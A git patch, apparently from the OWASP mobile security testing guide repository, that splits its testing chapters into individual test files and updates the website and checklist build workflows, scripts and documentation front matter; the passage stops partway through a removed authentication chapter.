From 1c363bcbe3f55f78c1abe24f0122e29e3a629448 Mon Sep 17 00:00:00 2001 From: Carlos Holguera Date: Mon, 8 May 2023 09:45:12 +0200 Subject: [PATCH] MASTG Transition Version (#2396) * remove tests and references * add individual tests * add testing chapter assembler script * add assembler to workflows * fix md headings * fix masvs Ids block * fix new lines in assemble script * fix format in 3 tests * map tests to masvs v1 levels * fix masvs v2 IDs in tests * removed general auth tests that were more server-side * merge privacy tests back to their chapter * rm deprecated CODE tests * create and populate checklists per MASVS group * update gitignore * move tests to tests folder for deployment * add mas chips styles and override main.html template * add new excel style * fix masvs links in web checklist and retrieve MASVS from repo * update pip reqs * fix links to masvs controls * split masvs categories in excel to one sheet per category * update excel generation with new header and new MASVS colors * update checklist page and style menu items dynamically * fix menu item coloring for all controls and categories, restyle controls in web * fix footer * fix nav and tablesorts script * update styles and site navigation * update style in controls pages, add ruler * update levels in tests and remove device binding * fix hide toc or navigation * fix masvs controls folder and restrict run * fix mkdir checklists * fix news navigation hide * fix mastg test links in test overview table * fix checklists pages * fix all md links and md linting errors * fix checklist download links * add masvs controls overview to MASVS page * fix more links in tests * fix md issues ul indent * fix more links * add static tablesor.min * add checklist note and warning * add testing chapters metadata * add theory sections and MASTG tests by platform and masvs category * add platform chip in mastg tests * fix links and wording * add tests per platform and masvs category * update gitignore * fix typos * fix masvs controls link for checklist * fix for wrong paths * rm .md from web links * correct links for non Document urls * fix titles in urls * don't write resources section if empty * cleanup * fix imgs in tests/ * update news * update release notes * improve assemble script * improve populate_dynamic_pages * improve first page for PDF and update doc name to remove version number * update news.md * rm old masvs refs * add masvs group chip * fix MASTG download link and improve advocates text * fixing broken links --- .github/workflows/build-website.yml | 26 +- .../workflows/config/url-checker-config.json | 6 + .github/workflows/docgenerator.yml | 58 +- .gitignore | 8 +- Document/0x02c-Acknowledgements.md | 6 +- ...0x04c-Tampering-and-Reverse-Engineering.md | 7 +- ...g-Authentication-and-Session-Management.md | 525 +--- .../0x04f-Testing-Network-Communication.md | 12 +- Document/0x04g-Testing-Cryptography.md | 17 +- Document/0x04h-Testing-Code-Quality.md | 13 +- .../0x04i-Testing-User-Privacy-Protection.md | 62 +- Document/0x05a-Platform-Overview.md | 62 +- Document/0x05b-Basic-Security_Testing.md | 18 +- Document/0x05d-Testing-Data-Storage.md | 1193 +------- Document/0x05e-Testing-Cryptography.md | 185 +- .../0x05f-Testing-Local-Authentication.md | 622 ++-- .../0x05g-Testing-Network-Communication.md | 419 +-- .../0x05h-Testing-Platform-Interaction.md | 1825 +----------- ...Testing-Code-Quality-and-Build-Settings.md | 427 +-- ...-Resiliency-Against-Reverse-Engineering.md | 2402 ++++++--------- Document/0x06a-Platform-Overview.md | 18 - Document/0x06b-Basic-Security-Testing.md | 72 +- Document/0x06d-Testing-Data-Storage.md | 690 +---- Document/0x06e-Testing-Cryptography.md | 164 +- .../0x06f-Testing-Local-Authentication.md | 58 +- .../0x06g-Testing-Network-Communication.md | 185 +- .../0x06h-Testing-Platform-Interaction.md | 2603 +---------------- ...Testing-Code-Quality-and-Build-Settings.md | 483 +-- ...-Resiliency-Against-Reverse-Engineering.md | 194 +- Document/0x08a-Testing-Tools.md | 20 +- docs/MASTG.md | 11 +- docs/MASVS.md | 32 +- docs/MAS_checklist.md | 11 +- docs/assets/checklist_en_filled.png | Bin 397041 -> 0 bytes docs/assets/mas_checklist.png | Bin 0 -> 393967 bytes docs/assets/news/checklist_detail.png | Bin 0 -> 462728 bytes docs/assets/news/checklist_home.png | Bin 0 -> 621004 bytes docs/assets/news/mastg_test.png | Bin 0 -> 567247 bytes docs/assets/news/masvs_colors.png | Bin 0 -> 645091 bytes docs/assets/news/masvs_control.png | Bin 0 -> 444017 bytes docs/assets/news/masvs_home.png | Bin 0 -> 623384 bytes docs/contact.md | 6 + docs/crackmes.md | 5 + docs/donate.md | 23 +- docs/donate/{steps.md => how_to_donate.md} | 11 +- docs/index.md | 12 +- docs/javascripts/tablesort.min.js | 6 + docs/news.md | 61 + docs/overrides/main.html | 100 + docs/stylesheets/extra.css | 50 +- mkdocs.yml | 99 +- requirements.txt | 8 - tests/android/MASVS-AUTH/MASTG-TEST-0017.md | 21 + tests/android/MASVS-AUTH/MASTG-TEST-0018.md | 23 + tests/android/MASVS-CODE/MASTG-TEST-0002.md | 31 + tests/android/MASVS-CODE/MASTG-TEST-0025.md | 103 + tests/android/MASVS-CODE/MASTG-TEST-0026.md | 146 + tests/android/MASVS-CODE/MASTG-TEST-0027.md | 50 + tests/android/MASVS-CODE/MASTG-TEST-0034.md | 116 + tests/android/MASVS-CODE/MASTG-TEST-0036.md | 92 + tests/android/MASVS-CODE/MASTG-TEST-0042.md | 60 + tests/android/MASVS-CODE/MASTG-TEST-0043.md | 34 + tests/android/MASVS-CODE/MASTG-TEST-0044.md | 39 + tests/android/MASVS-CRYPTO/MASTG-TEST-0013.md | 47 + tests/android/MASVS-CRYPTO/MASTG-TEST-0014.md | 33 + tests/android/MASVS-CRYPTO/MASTG-TEST-0015.md | 42 + tests/android/MASVS-CRYPTO/MASTG-TEST-0016.md | 30 + .../android/MASVS-NETWORK/MASTG-TEST-0019.md | 50 + .../android/MASVS-NETWORK/MASTG-TEST-0020.md | 15 + .../android/MASVS-NETWORK/MASTG-TEST-0021.md | 171 ++ .../android/MASVS-NETWORK/MASTG-TEST-0022.md | 187 ++ .../android/MASVS-NETWORK/MASTG-TEST-0023.md | 34 + .../android/MASVS-PLATFORM/MASTG-TEST-0007.md | 258 ++ .../android/MASVS-PLATFORM/MASTG-TEST-0008.md | 47 + .../android/MASVS-PLATFORM/MASTG-TEST-0010.md | 49 + .../android/MASVS-PLATFORM/MASTG-TEST-0024.md | 211 ++ .../android/MASVS-PLATFORM/MASTG-TEST-0028.md | 293 ++ .../android/MASVS-PLATFORM/MASTG-TEST-0029.md | 467 +++ .../android/MASVS-PLATFORM/MASTG-TEST-0030.md | 78 + .../android/MASVS-PLATFORM/MASTG-TEST-0031.md | 59 + .../android/MASVS-PLATFORM/MASTG-TEST-0032.md | 63 + .../android/MASVS-PLATFORM/MASTG-TEST-0033.md | 76 + .../android/MASVS-PLATFORM/MASTG-TEST-0035.md | 35 + .../android/MASVS-PLATFORM/MASTG-TEST-0037.md | 76 + .../MASVS-RESILIENCE/MASTG-TEST-0038.md | 61 + .../MASVS-RESILIENCE/MASTG-TEST-0039.md | 94 + .../MASVS-RESILIENCE/MASTG-TEST-0040.md | 53 + .../MASVS-RESILIENCE/MASTG-TEST-0041.md | 42 + .../MASVS-RESILIENCE/MASTG-TEST-0045.md | 40 + .../MASVS-RESILIENCE/MASTG-TEST-0046.md | 66 + .../MASVS-RESILIENCE/MASTG-TEST-0047.md | 45 + .../MASVS-RESILIENCE/MASTG-TEST-0048.md | 36 + .../MASVS-RESILIENCE/MASTG-TEST-0049.md | 28 + .../MASVS-RESILIENCE/MASTG-TEST-0050.md | 21 + .../MASVS-RESILIENCE/MASTG-TEST-0051.md | 76 + .../android/MASVS-STORAGE/MASTG-TEST-0001.md | 142 + .../android/MASVS-STORAGE/MASTG-TEST-0003.md | 107 + .../android/MASVS-STORAGE/MASTG-TEST-0004.md | 24 + .../android/MASVS-STORAGE/MASTG-TEST-0005.md | 21 + .../android/MASVS-STORAGE/MASTG-TEST-0006.md | 42 + .../android/MASVS-STORAGE/MASTG-TEST-0009.md | 108 + .../android/MASVS-STORAGE/MASTG-TEST-0011.md | 378 +++ .../android/MASVS-STORAGE/MASTG-TEST-0012.md | 32 + tests/ios/MASVS-AUTH/MASTG-TEST-0064.md | 57 + tests/ios/MASVS-CODE/MASTG-TEST-0079.md | 31 + tests/ios/MASVS-CODE/MASTG-TEST-0080.md | 24 + tests/ios/MASVS-CODE/MASTG-TEST-0085.md | 119 + tests/ios/MASVS-CODE/MASTG-TEST-0086.md | 36 + tests/ios/MASVS-CODE/MASTG-TEST-0087.md | 78 + tests/ios/MASVS-CRYPTO/MASTG-TEST-0061.md | 52 + tests/ios/MASVS-CRYPTO/MASTG-TEST-0062.md | 39 + tests/ios/MASVS-CRYPTO/MASTG-TEST-0063.md | 41 + tests/ios/MASVS-NETWORK/MASTG-TEST-0065.md | 81 + tests/ios/MASVS-NETWORK/MASTG-TEST-0066.md | 19 + tests/ios/MASVS-NETWORK/MASTG-TEST-0067.md | 36 + tests/ios/MASVS-NETWORK/MASTG-TEST-0068.md | 65 + tests/ios/MASVS-PLATFORM/MASTG-TEST-0056.md | 57 + tests/ios/MASVS-PLATFORM/MASTG-TEST-0057.md | 33 + tests/ios/MASVS-PLATFORM/MASTG-TEST-0059.md | 70 + tests/ios/MASVS-PLATFORM/MASTG-TEST-0069.md | 246 ++ tests/ios/MASVS-PLATFORM/MASTG-TEST-0070.md | 408 +++ tests/ios/MASVS-PLATFORM/MASTG-TEST-0071.md | 307 ++ tests/ios/MASVS-PLATFORM/MASTG-TEST-0072.md | 53 + tests/ios/MASVS-PLATFORM/MASTG-TEST-0073.md | 110 + tests/ios/MASVS-PLATFORM/MASTG-TEST-0074.md | 12 + tests/ios/MASVS-PLATFORM/MASTG-TEST-0075.md | 665 +++++ tests/ios/MASVS-PLATFORM/MASTG-TEST-0076.md | 66 + tests/ios/MASVS-PLATFORM/MASTG-TEST-0077.md | 236 ++ tests/ios/MASVS-PLATFORM/MASTG-TEST-0078.md | 109 + tests/ios/MASVS-RESILIENCE/MASTG-TEST-0081.md | 44 + tests/ios/MASVS-RESILIENCE/MASTG-TEST-0082.md | 67 + tests/ios/MASVS-RESILIENCE/MASTG-TEST-0083.md | 37 + tests/ios/MASVS-RESILIENCE/MASTG-TEST-0084.md | 72 + tests/ios/MASVS-RESILIENCE/MASTG-TEST-0088.md | 31 + tests/ios/MASVS-RESILIENCE/MASTG-TEST-0089.md | 30 + tests/ios/MASVS-RESILIENCE/MASTG-TEST-0090.md | 42 + tests/ios/MASVS-RESILIENCE/MASTG-TEST-0091.md | 28 + tests/ios/MASVS-RESILIENCE/MASTG-TEST-0092.md | 29 + tests/ios/MASVS-RESILIENCE/MASTG-TEST-0093.md | 20 + tests/ios/MASVS-STORAGE/MASTG-TEST-0052.md | 102 + tests/ios/MASVS-STORAGE/MASTG-TEST-0053.md | 42 + tests/ios/MASVS-STORAGE/MASTG-TEST-0054.md | 35 + tests/ios/MASVS-STORAGE/MASTG-TEST-0055.md | 52 + tests/ios/MASVS-STORAGE/MASTG-TEST-0058.md | 174 ++ tests/ios/MASVS-STORAGE/MASTG-TEST-0060.md | 71 + tools/docker/first_page.tex | 23 +- tools/docker/pandoc_makedocs.sh | 4 +- tools/scripts/assemble_test_chapters.py | 47 + tools/scripts/combine_data_for_checklist.py | 69 + tools/scripts/excel_styles_and_validation.py | 67 +- tools/scripts/gen_all_excel.sh | 8 - tools/scripts/get_tests_dict.py | 36 + tools/scripts/mstg_to_html.sh | 7 - tools/scripts/parse_html.py | 173 -- tools/scripts/populate_dynamic_pages.py | 89 +- tools/scripts/requirements.txt | 9 + tools/scripts/structure_mastg.sh | 1 + tools/scripts/structure_masvs.sh | 4 +- tools/scripts/transform_files.py | 118 +- tools/scripts/write_masvs_control_md_files.py | 17 + tools/scripts/yaml_to_excel.py | 297 +- 161 files changed, 11017 insertions(+), 11145 deletions(-) delete mode 100644 docs/assets/checklist_en_filled.png create mode 100644 docs/assets/mas_checklist.png create mode 100644 docs/assets/news/checklist_detail.png create mode 100644 docs/assets/news/checklist_home.png create mode 100644 docs/assets/news/mastg_test.png create mode 100644 docs/assets/news/masvs_colors.png create mode 100644 docs/assets/news/masvs_control.png create mode 100644 docs/assets/news/masvs_home.png rename docs/donate/{steps.md => how_to_donate.md} (91%) create mode 100644 docs/javascripts/tablesort.min.js create mode 100644 docs/overrides/main.html delete mode 100644 requirements.txt create mode 100644 tests/android/MASVS-AUTH/MASTG-TEST-0017.md create mode 100644 tests/android/MASVS-AUTH/MASTG-TEST-0018.md create mode 100644 tests/android/MASVS-CODE/MASTG-TEST-0002.md create mode 100644 tests/android/MASVS-CODE/MASTG-TEST-0025.md create mode 100644 tests/android/MASVS-CODE/MASTG-TEST-0026.md create mode 100644 tests/android/MASVS-CODE/MASTG-TEST-0027.md create mode 100644 tests/android/MASVS-CODE/MASTG-TEST-0034.md create mode 100644 tests/android/MASVS-CODE/MASTG-TEST-0036.md create mode 100644 tests/android/MASVS-CODE/MASTG-TEST-0042.md create mode 100644 tests/android/MASVS-CODE/MASTG-TEST-0043.md create mode 100644 tests/android/MASVS-CODE/MASTG-TEST-0044.md create mode 100644 tests/android/MASVS-CRYPTO/MASTG-TEST-0013.md create mode 100644 tests/android/MASVS-CRYPTO/MASTG-TEST-0014.md create mode 100644 tests/android/MASVS-CRYPTO/MASTG-TEST-0015.md create mode 100644 tests/android/MASVS-CRYPTO/MASTG-TEST-0016.md create mode 100644 tests/android/MASVS-NETWORK/MASTG-TEST-0019.md create mode 100644 tests/android/MASVS-NETWORK/MASTG-TEST-0020.md create mode 100644 tests/android/MASVS-NETWORK/MASTG-TEST-0021.md create mode 100644 tests/android/MASVS-NETWORK/MASTG-TEST-0022.md create mode 100644 tests/android/MASVS-NETWORK/MASTG-TEST-0023.md create mode 100644 tests/android/MASVS-PLATFORM/MASTG-TEST-0007.md create mode 100644 tests/android/MASVS-PLATFORM/MASTG-TEST-0008.md create mode 100644 tests/android/MASVS-PLATFORM/MASTG-TEST-0010.md create mode 100644 tests/android/MASVS-PLATFORM/MASTG-TEST-0024.md create mode 100644 tests/android/MASVS-PLATFORM/MASTG-TEST-0028.md create mode 100644 tests/android/MASVS-PLATFORM/MASTG-TEST-0029.md create mode 100644 tests/android/MASVS-PLATFORM/MASTG-TEST-0030.md create mode 100644 tests/android/MASVS-PLATFORM/MASTG-TEST-0031.md create mode 100644 tests/android/MASVS-PLATFORM/MASTG-TEST-0032.md create mode 100644 tests/android/MASVS-PLATFORM/MASTG-TEST-0033.md create mode 100644 tests/android/MASVS-PLATFORM/MASTG-TEST-0035.md create mode 100644 tests/android/MASVS-PLATFORM/MASTG-TEST-0037.md create mode 100644 tests/android/MASVS-RESILIENCE/MASTG-TEST-0038.md create mode 100644 tests/android/MASVS-RESILIENCE/MASTG-TEST-0039.md create mode 100644 tests/android/MASVS-RESILIENCE/MASTG-TEST-0040.md create mode 100644 tests/android/MASVS-RESILIENCE/MASTG-TEST-0041.md create mode 100644 tests/android/MASVS-RESILIENCE/MASTG-TEST-0045.md create mode 100644 tests/android/MASVS-RESILIENCE/MASTG-TEST-0046.md create mode 100644 tests/android/MASVS-RESILIENCE/MASTG-TEST-0047.md create mode 100644 tests/android/MASVS-RESILIENCE/MASTG-TEST-0048.md create mode 100644 tests/android/MASVS-RESILIENCE/MASTG-TEST-0049.md create mode 100644 tests/android/MASVS-RESILIENCE/MASTG-TEST-0050.md create mode 100644 tests/android/MASVS-RESILIENCE/MASTG-TEST-0051.md create mode 100644 tests/android/MASVS-STORAGE/MASTG-TEST-0001.md create mode 100644 tests/android/MASVS-STORAGE/MASTG-TEST-0003.md create mode 100644 tests/android/MASVS-STORAGE/MASTG-TEST-0004.md create mode 100644 tests/android/MASVS-STORAGE/MASTG-TEST-0005.md create mode 100644 tests/android/MASVS-STORAGE/MASTG-TEST-0006.md create mode 100644 tests/android/MASVS-STORAGE/MASTG-TEST-0009.md create mode 100644 tests/android/MASVS-STORAGE/MASTG-TEST-0011.md create mode 100644 tests/android/MASVS-STORAGE/MASTG-TEST-0012.md create mode 100644 tests/ios/MASVS-AUTH/MASTG-TEST-0064.md create mode 100644 tests/ios/MASVS-CODE/MASTG-TEST-0079.md create mode 100644 tests/ios/MASVS-CODE/MASTG-TEST-0080.md create mode 100644 tests/ios/MASVS-CODE/MASTG-TEST-0085.md create mode 100644 tests/ios/MASVS-CODE/MASTG-TEST-0086.md create mode 100644 tests/ios/MASVS-CODE/MASTG-TEST-0087.md create mode 100644 tests/ios/MASVS-CRYPTO/MASTG-TEST-0061.md create mode 100644 tests/ios/MASVS-CRYPTO/MASTG-TEST-0062.md create mode 100644 tests/ios/MASVS-CRYPTO/MASTG-TEST-0063.md create mode 100644 tests/ios/MASVS-NETWORK/MASTG-TEST-0065.md create mode 100644 tests/ios/MASVS-NETWORK/MASTG-TEST-0066.md create mode 100644 tests/ios/MASVS-NETWORK/MASTG-TEST-0067.md create mode 100644 tests/ios/MASVS-NETWORK/MASTG-TEST-0068.md create mode 100644 tests/ios/MASVS-PLATFORM/MASTG-TEST-0056.md create mode 100644 tests/ios/MASVS-PLATFORM/MASTG-TEST-0057.md create mode 100644 tests/ios/MASVS-PLATFORM/MASTG-TEST-0059.md create mode 100644 tests/ios/MASVS-PLATFORM/MASTG-TEST-0069.md create mode 100644 tests/ios/MASVS-PLATFORM/MASTG-TEST-0070.md create mode 100644 tests/ios/MASVS-PLATFORM/MASTG-TEST-0071.md create mode 100644 tests/ios/MASVS-PLATFORM/MASTG-TEST-0072.md create mode 100644 tests/ios/MASVS-PLATFORM/MASTG-TEST-0073.md create mode 100644 tests/ios/MASVS-PLATFORM/MASTG-TEST-0074.md create mode 100644 tests/ios/MASVS-PLATFORM/MASTG-TEST-0075.md create mode 100644 tests/ios/MASVS-PLATFORM/MASTG-TEST-0076.md create mode 100644 tests/ios/MASVS-PLATFORM/MASTG-TEST-0077.md create mode 100644 tests/ios/MASVS-PLATFORM/MASTG-TEST-0078.md create mode 100644 tests/ios/MASVS-RESILIENCE/MASTG-TEST-0081.md create mode 100644 tests/ios/MASVS-RESILIENCE/MASTG-TEST-0082.md create mode 100644 tests/ios/MASVS-RESILIENCE/MASTG-TEST-0083.md create mode 100644 tests/ios/MASVS-RESILIENCE/MASTG-TEST-0084.md create mode 100644 tests/ios/MASVS-RESILIENCE/MASTG-TEST-0088.md create mode 100644 tests/ios/MASVS-RESILIENCE/MASTG-TEST-0089.md create mode 100644 tests/ios/MASVS-RESILIENCE/MASTG-TEST-0090.md create mode 100644 tests/ios/MASVS-RESILIENCE/MASTG-TEST-0091.md create mode 100644 tests/ios/MASVS-RESILIENCE/MASTG-TEST-0092.md create mode 100644 tests/ios/MASVS-RESILIENCE/MASTG-TEST-0093.md create mode 100644 tests/ios/MASVS-STORAGE/MASTG-TEST-0052.md create mode 100644 tests/ios/MASVS-STORAGE/MASTG-TEST-0053.md create mode 100644 tests/ios/MASVS-STORAGE/MASTG-TEST-0054.md create mode 100644 tests/ios/MASVS-STORAGE/MASTG-TEST-0055.md create mode 100644 tests/ios/MASVS-STORAGE/MASTG-TEST-0058.md create mode 100644 tests/ios/MASVS-STORAGE/MASTG-TEST-0060.md create mode 100644 tools/scripts/assemble_test_chapters.py create mode 100644 tools/scripts/combine_data_for_checklist.py delete mode 100755 tools/scripts/gen_all_excel.sh create mode 100644 tools/scripts/get_tests_dict.py delete mode 100755 tools/scripts/mstg_to_html.sh delete mode 100644 tools/scripts/parse_html.py create mode 100644 tools/scripts/write_masvs_control_md_files.py diff --git a/.github/workflows/build-website.yml b/.github/workflows/build-website.yml index 591d308484..9bf818cab4 100644 --- a/.github/workflows/build-website.yml +++ b/.github/workflows/build-website.yml @@ -7,18 +7,27 @@ on: jobs: deploy: runs-on: ubuntu-latest + if: github.actor == 'cpholguera' || github.actor == 'sushi2k' steps: - uses: actions/checkout@v3 - - uses: actions/setup-python@v2 + with: + fetch-depth: 1 + + - uses: actions/setup-python@v4 with: python-version: 3.x - - run: pip install -r requirements.txt + - name: Install dependencies + run: pip install -r tools/scripts/requirements.txt - run: ./tools/scripts/structure_mastg.sh + - name: Copy MASTG Tests folder + run: cp -r tests docs/MASTG/ - run: python3 tools/scripts/transform_files.py - run: mv Document/Images/ docs/assets/Images/ - - run: sed -i "s#> $GITHUB_ENV @@ -30,14 +39,17 @@ jobs: path: owasp-masvs/ - name: Generate MASVS yaml run: python3 ./owasp-masvs/tools/generate_masvs_yaml.py -v ${{env.MASVS_VERSION}} -i ./owasp-masvs/Document -c ./owasp-masvs/controls - - name: Populate MASVS Categories Markdown Files - run: python3 ./owasp-masvs/tools/populate_masvs_categories_md.py -d ./owasp-masvs/Document -w + # - name: Populate MASVS Categories Markdown Files + # run: python3 ./owasp-masvs/tools/populate_masvs_categories_md.py -d ./owasp-masvs/Document -w - run: ./tools/scripts/structure_masvs.sh - run: mkdir docs/assets/Images/MASVS - run: mv owasp-masvs/Document/images/* docs/assets/Images/MASVS - run: sed -i "s#images/#../../../assets/Images/MASVS/#g" docs/MASVS/**/*.md - run: sed -i "s#images/#../../assets/Images/MASVS/#g" docs/MASVS/*.md - - - run: python3 tools/scripts/populate_dynamic_pages.py + - name: Generate MASVS Control Markdown Files + run: python3 tools/scripts/write_masvs_control_md_files.py + + - name: Populate Dynamic Pages + run: python3 tools/scripts/populate_dynamic_pages.py - run: mkdocs gh-deploy --force --clean --verbose diff --git a/.github/workflows/config/url-checker-config.json b/.github/workflows/config/url-checker-config.json index 6ce04f94bb..1b80a1cf1c 100644 --- a/.github/workflows/config/url-checker-config.json +++ b/.github/workflows/config/url-checker-config.json @@ -15,6 +15,12 @@ { "pattern": "https://haveibeenpwned.com" }, + { + "pattern": "https://www.hackingwithswift.com" + }, + { + "pattern": "https://www.raywenderlich.com" + }, { "pattern": "http://apt.thebigboss.org/repofiles/cydia/" }, diff --git a/.github/workflows/docgenerator.yml b/.github/workflows/docgenerator.yml index a93b2fccfa..5a60fefff2 100644 --- a/.github/workflows/docgenerator.yml +++ b/.github/workflows/docgenerator.yml @@ -17,14 +17,20 @@ permissions: contents: read jobs: - Generate-MASTG-Documents: runs-on: ubuntu-latest steps: + - uses: actions/checkout@v3 with: fetch-depth: 1 + - uses: actions/setup-python@v4 + with: + python-version: 3.x + - name: Install dependencies + run: pip install -r tools/scripts/requirements.txt + - name: Set MASTG_VERSION to env run: echo "MASTG_VERSION=$(curl "https://api.github.com/repos/OWASP/owasp-mastg/tags" | jq -r '.[0].name')" >> $GITHUB_ENV @@ -35,6 +41,9 @@ jobs: - name: Get Latest MASVS Release Tag run: echo "MASVS_VERSION=$(curl -s https://api.github.com/repos/OWASP/owasp-masvs/releases/latest | jq '.tag_name' | sed 's/\"//g')" >> $GITHUB_ENV + - name: Assemble Testing Chapters + run: python3 tools/scripts/assemble_test_chapters.py + - name: Process Files run: python3 tools/scripts/transform_files.py @@ -44,20 +53,22 @@ jobs: - name: Upload Artifacts uses: actions/upload-artifact@v3 with: - name: OWASP_MASTG-${{env.MASTG_VERSION}} - path: OWASP_MASTG-${{env.MASTG_VERSION}}* + name: OWASP_MASTG + path: OWASP_MASTG* Generate-Checklists: runs-on: ubuntu-latest - steps: - uses: actions/checkout@v3 with: fetch-depth: 1 - - name: Listing repo recursive - run: ls -lR + - uses: actions/setup-python@v4 + with: + python-version: 3.x + - name: Install dependencies + run: pip install -r tools/scripts/requirements.txt - name: Set MASTG_VERSION to env # run: echo "MASTG_VERSION=$(git describe --tags `git rev-list --tags --max-count=1`)" >> $GITHUB_ENV @@ -93,35 +104,20 @@ jobs: - name: Confirm MASTG Current Commit ID run: echo ${{env.MASVS_COMMIT}} - - name: Listing of scripts directory - run: ls -l tools/scripts/ + - name: Generate Excel + run: python3 tools/scripts/yaml_to_excel.py --mastgversion ${{env.MASTG_VERSION}} --mastgcommit ${{env.MASTG_COMMIT}} --masvsversion ${{env.MASVS_VERSION}} --masvscommit ${{env.MASVS_COMMIT}} - - name: Install pip Requirements - run: pip3 install -r tools/scripts/requirements.txt - - - name: Show openpyxl Version - run: pip3 show openpyxl - - - name: Convert MASTG Testing Chapters to HTML - run: . tools/scripts/mstg_to_html.sh - - - name: List MASTG HTML - run: ls -l tools/scripts/generated/html/ - - - name: Export YAML, enhance with MASTG and generate Excel - run: cd tools/scripts && ./gen_all_excel.sh ${{env.MASTG_VERSION}} ${{env.MASTG_COMMIT}} ${{env.MASVS_VERSION}} ${{env.MASVS_COMMIT}} - - - name: Upload Enhanced MASVS YAML - uses: actions/upload-artifact@v3 - with: - name: Enhanced-MASVS-YAML-Files - path: tools/scripts/masvs_full_*.yaml + # - name: Upload Enhanced MASVS YAML + # uses: actions/upload-artifact@v3 + # with: + # name: Enhanced-MASVS-YAML-Files + # path: tools/scripts/masvs_full_*.yaml - name: Upload Checklists uses: actions/upload-artifact@v3 with: name: Checklists - path: tools/scripts/*.xlsx + path: OWASP_MAS_Checklist*.xlsx release: runs-on: ubuntu-latest @@ -145,8 +141,8 @@ jobs: generate_release_notes: true discussion_category_name: Announcements files: | - OWASP_MASTG-*/OWASP_MASTG-*.pdf - OWASP_MASTG-*/OWASP_MASTG-*.epub + OWASP_MASTG-*/OWASP_MASTG.pdf + OWASP_MASTG-*/OWASP_MASTG.epub Checklists/*.xlsx Enhanced-MASVS-YAML-Files/*.yaml env: diff --git a/.gitignore b/.gitignore index 29494dc1de..1b9e0d1824 100644 --- a/.gitignore +++ b/.gitignore @@ -8,10 +8,16 @@ tmp_* build *-temp OWASP_MSTG-SNAPSHOT-* +OWASP_MAS_Checklist.xlsx logs *.pdf *.docx *.epub launch.json docs/MASVS -docs/MASTG \ No newline at end of file +docs/MASTG +docs/checklists/ +owasp-masvs +__pycache__ +venv/ +playground/ \ No newline at end of file diff --git a/Document/0x02c-Acknowledgements.md b/Document/0x02c-Acknowledgements.md index 0bbe173dd5..98c328d257 100644 --- a/Document/0x02c-Acknowledgements.md +++ b/Document/0x02c-Acknowledgements.md @@ -43,9 +43,9 @@ If you'd like to apply please contact the project leaders by sending an email to - [Financial donations](https://mas.owasp.org/donate/) are not part of the eligibility criteria but will be listed for completion. - Re-shared publications and blog posts linked in MASTG text must be **educational** and focus on mobile security or MASVS/MASTG and **not endorse company products/services**. - Advocate Companies may use the logo and links to MASVS/MASTG resources as part of their communication but cannot use them as an endorsement by OWASP as a preferred provider of software and services. - - Example of what's ok: list MAS Advocate status on website home page, in "about company" slides in sales presentations, on sales collateral. - - Example of what's not ok: a MAS Advocate cannot claim they are OWASP certified. -- The quality of the application of the MASVS/MASTG by these companies [has not been vetted by the MAS team](https://mas.owasp.org/MASVS/Intro/0x04-Assessment_and_Certification/#owasps-stance-on-masvs-certifications-and-trust-marks). + - Example of what's ok: list MAS Advocate status on website home page, in "about company" slides in sales presentations, on sales collateral. + - Example of what's not ok: a MAS Advocate cannot claim they are OWASP certified. +- The quality of the application of the MASVS/MASTG by these companies [has not been vetted by the MAS team](https://mas.owasp.org/MASVS/Intro/04-Assessment_and_Certification/). > The OWASP Foundation is very grateful for the support by the individuals and organizations listed. However please note, the OWASP Foundation is strictly vendor neutral and does not endorse any of its supporters. MAS Advocates do not influence the content of the MASVS or MASTG in any way. diff --git a/Document/0x04c-Tampering-and-Reverse-Engineering.md b/Document/0x04c-Tampering-and-Reverse-Engineering.md index 1525a3bfc6..99b9403278 100644 --- a/Document/0x04c-Tampering-and-Reverse-Engineering.md +++ b/Document/0x04c-Tampering-and-Reverse-Engineering.md @@ -1,3 +1,8 @@ +--- +masvs_category: MASVS-RESILIENCE +platform: all +--- + # Mobile App Tampering and Reverse Engineering Reverse engineering and tampering techniques have long belonged to the realm of crackers, modders, malware analysts, etc. For "traditional" security testers and researchers, reverse engineering has been more of a complementary skill. But the tides are turning: mobile app black-box testing increasingly requires disassembling compiled apps, applying patches, and tampering with binary code or even live processes. The fact that many mobile apps implement defenses against unwelcome tampering doesn't make things easier for security testers. @@ -116,7 +121,7 @@ This technique replaces standard binary operators like addition or subtraction w Control flow flattening replaces original code with a more complex representation. The transformation breaks the body of a function into basic blocks and puts them all inside a single infinite loop with a switch statement that controls the program flow. This makes the program flow significantly harder to follow because it removes the natural conditional constructs that usually make the code easier to read. -![control-flow-flattening](./Images/Chapters/0x06j/control-flow-flattening.png) \ + The image shows how control flow flattening alters code (see "[Obfuscating C++ programs via control flow flattening](http://ac.inf.elte.hu/Vol_030_2009/003.pdf)") diff --git a/Document/0x04e-Testing-Authentication-and-Session-Management.md b/Document/0x04e-Testing-Authentication-and-Session-Management.md index e7bcf5fd3a..4f7dd2794c 100644 --- a/Document/0x04e-Testing-Authentication-and-Session-Management.md +++ b/Document/0x04e-Testing-Authentication-and-Session-Management.md @@ -1,3 +1,8 @@ +--- +masvs_category: MASVS-AUTH +platform: all +--- + # Mobile App Authentication Architectures Authentication and authorization problems are prevalent security vulnerabilities. In fact, they consistently rank second highest in the [OWASP Top 10](https://owasp.org/www-project-top-ten/). @@ -6,60 +11,9 @@ Most mobile apps implement some kind of user authentication. Even though part of Since the basic concepts are identical on iOS and Android, we'll discuss prevalent authentication and authorization architectures and pitfalls in this generic guide. OS-specific authentication issues, such as local and biometric authentication, will be discussed in the respective OS-specific chapters. -## General Guidelines on Testing Authentication - -There's no one-size-fits-all approach to authentication. When reviewing the authentication architecture of an app, you should first consider whether the authentication method(s) used are appropriate in the given context. Authentication can be based on one or more of the following: - -- Something the user knows (password, PIN, pattern, etc.) -- Something the user has (SIM card, one-time password generator, or hardware token) -- A biometric property of the user (fingerprint, retina, voice) - -The number of authentication procedures implemented by mobile apps depends on the sensitivity of the functions or accessed resources. Refer to industry best practices when reviewing authentication functions. Username/password authentication (combined with a reasonable password policy) is generally considered sufficient for apps that have a user login and aren't very sensitive. This form of authentication is used by most social media apps. - -For sensitive apps, adding a second authentication factor is usually appropriate. This includes apps that provide access to very sensitive information (such as credit card numbers) or allow users to transfer funds. In some industries, these apps must also comply with certain standards. For example, financial apps have to ensure compliance with the Payment Card Industry Data Security Standard (PCI DSS), the Gramm Leach Bliley Act, and the Sarbanes-Oxley Act (SOX). Compliance considerations for the US health care sector include the Health Insurance Portability and Accountability Act (HIPAA) and the Patient Safety Rule. - -You can also use the [OWASP Mobile AppSec Verification 